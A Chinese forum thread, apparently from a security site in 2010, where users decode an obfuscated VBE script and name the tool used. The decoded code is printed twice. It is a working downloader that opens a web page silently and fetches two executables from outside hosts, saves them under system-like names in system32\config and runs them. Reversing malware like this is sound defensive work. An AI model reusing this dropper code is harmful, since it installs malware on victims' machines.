这个vbe文件应该这样解密？

haizhison

http://bbs.kafan.cn/thread-700483-1-3.html   我用解密工具解密了一下  还是有一半还是乱码 不知道怎么办 ?

zhukeding

先采用了vbs.encode加密，可以使用MD的MS解密，然后又一个自定义的函数加密，可以将 Execute(ET) 这里改成 MsgBox(ET)就可以看到明文了。


on error resume next
set aa=wscript.createobject("wscript.shell")
aa.run "iexplore www.qiaoyu.info/xuke/bat/d1.html",0

dim  aaaaaaaaaa3


Set xPost = createObject("Microsoft.XMLHTTP")
xPost.Open "GET","http://www.usnba.info/xuke/csrss.exe",0
xPost.Send()
Set sGet = createObject("ADODB.Stream")
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile "C:\WINDOWS\system32\config\csrss.exe",2
Set objShell = CreateObject("Wscript.Shell")
objshell.run """C:\WINDOWS\system32\config\csrss.exe"""


Set xPost = createObject("Microsoft.XMLHTTP")
xPost.Open "GET","http://www.newtao.info/xuke/s7a.exe",0
xPost.Send()
Set sGet = createObject("ADODB.Stream")
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile "C:\WINDOWS\system32\config\s7a.exe",2
Set objShell = CreateObject("Wscript.Shell")
objshell.run """C:\WINDOWS\system32\config\s7a.exe"""


Set objShell = CreateObject("Wscript.Shell")
intMessage

haizhison

先采用了vbs.encode加密，可以使用MD的MS解密，然后又一个自定义的函数加密，可以将 Execute(ET) 这里改成 MsgBox(ET)就可以看到明文了。


on error resume next
set aa=wscript.createobject("wscript.shell")
aa.run "iexplore www.qiaoyu.info/xuke/bat/d1.html",0

dim  aaaaaaaaaa3


Set xPost = createObject("Microsoft.XMLHTTP")
xPost.Open "GET","http://www.usnba.info/xuke/csrss.exe",0
xPost.Send()
Set sGet = createObject("ADODB.Stream")
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile "C:\WINDOWS\system32\config\csrss.exe",2
Set objShell = CreateObject("Wscript.Shell")
objshell.run """C:\WINDOWS\system32\config\csrss.exe"""


Set xPost = createObject("Microsoft.XMLHTTP")
xPost.Open "GET","http://www.newtao.info/xuke/s7a.exe",0
xPost.Send()
Set sGet = createObject("ADODB.Stream")
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile "C:\WINDOWS\system32\config\s7a.exe",2
Set objShell = CreateObject("Wscript.Shell")
objshell.run """C:\WINDOWS\system32\config\s7a.exe"""


Set objShell = CreateObject("Wscript.Shell")
intMessage zhukeding 发表于 2010-5-18 10:04

先谢谢你的回答   我想问一句  “MD的MS”是什么东西  网上查不到

zhukeding

回复 3# haizhison


    MDecoder的MSscrenc解密